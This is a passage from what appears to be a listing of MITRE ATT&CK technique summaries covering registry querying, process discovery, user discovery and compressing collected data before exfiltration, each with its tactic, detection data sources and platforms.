Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre